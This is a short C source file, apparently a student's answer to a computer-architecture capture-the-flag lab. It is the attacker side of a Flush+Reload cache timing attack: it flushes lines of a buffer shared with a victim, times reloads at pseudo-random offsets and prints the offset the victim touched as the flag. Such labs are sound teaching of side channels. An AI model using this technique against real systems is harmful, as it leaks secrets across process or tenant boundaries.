62 lines
1.7 KiB
C
62 lines
1.7 KiB
C
#include <stdlib.h>
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#include <stdio.h>
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#include <stdint.h>
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#include <fcntl.h>
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#include <sys/stat.h>
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#include <sys/mman.h>
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#include <unistd.h>
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#include "util.h"
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#define CACHE_HIT_THRESHOLD 200
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#define WAIT_TIME 1000
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#define AVAR 575479
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#define CVAR 10020107
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#define AVAR1 199267
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#define CVAR1 4900501
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int main() {
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int index = -1;
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int flag = -1;
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CYCLES time = -1;
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CYCLES new_time = -1;
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int offset = 0;
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int new_offset = 0;
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// buf is shared between the attacker and the victim
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char *buf = allocate_shared_buffer();
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// [2.1] TODO: Put your capture-the-flag code here
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for (int j = 0; j < 1024; j++) {
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for(int i = 0; i < 1024; i++) {
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clflush((ADDR_PTR)buf + i * 128);
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}
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for(int i = 0; i < WAIT_TIME; i++);
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for(int i = 0; i < 64; i++) {
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new_offset = (AVAR * offset + CVAR) % 1024;
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if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
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offset = (AVAR1 * offset + CVAR1) % 1024;
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}
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else {
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offset = new_offset;
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}
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time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
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if(time < CACHE_HIT_THRESHOLD) {
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// clflush((ADDR_PTR)buf + offset * 128);
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for(int i = 0; i < WAIT_TIME; i++);
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new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
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if(new_time < CACHE_HIT_THRESHOLD) {
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flag = offset;
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index = i;
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break;
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}
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}
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}
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}
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printf("Flag: %d\n", flag);
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printf("Time: %d\n", time);
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printf("Index: %d\n", index);
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deallocate_shared_buffer(buf);
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return 0;
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}
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